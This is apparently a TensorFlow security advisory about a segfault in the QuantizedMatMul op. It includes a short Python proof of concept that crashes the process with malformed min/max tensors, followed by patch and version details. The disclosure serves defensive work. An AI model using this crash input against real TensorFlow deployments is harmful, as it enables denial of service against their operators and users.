TensorFlow vulnerable to segfault in `QuantizedMatMul`
Impact
If QuantizedMatMul is given nonscalar input for:
min_amax_amin_bmax_b
It gives a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
Toutput = tf.qint32
transpose_a = False
transpose_b = False
Tactivation = tf.quint8
a = tf.constant(7, shape=[3,4], dtype=tf.quint8)
b = tf.constant(1, shape=[2,3], dtype=tf.quint8)
min_a = tf.constant([], shape=[0], dtype=tf.float32)
max_a = tf.constant(0, shape=[1], dtype=tf.float32)
min_b = tf.constant(0, shape=[1], dtype=tf.float32)
max_b = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation)

Patches
We have patched the issue in GitHub commit [aca766ac7693bf29ed0df55ad6bfcc78f35e7f48](https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
